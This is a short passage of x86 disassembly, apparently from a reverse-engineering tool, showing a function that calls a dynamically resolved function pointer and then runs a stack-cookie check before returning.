je 0x4153cc
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x42b284]
call ebx
test eax, eax
je 0x4153e7
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4153e9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a63b
leave
ret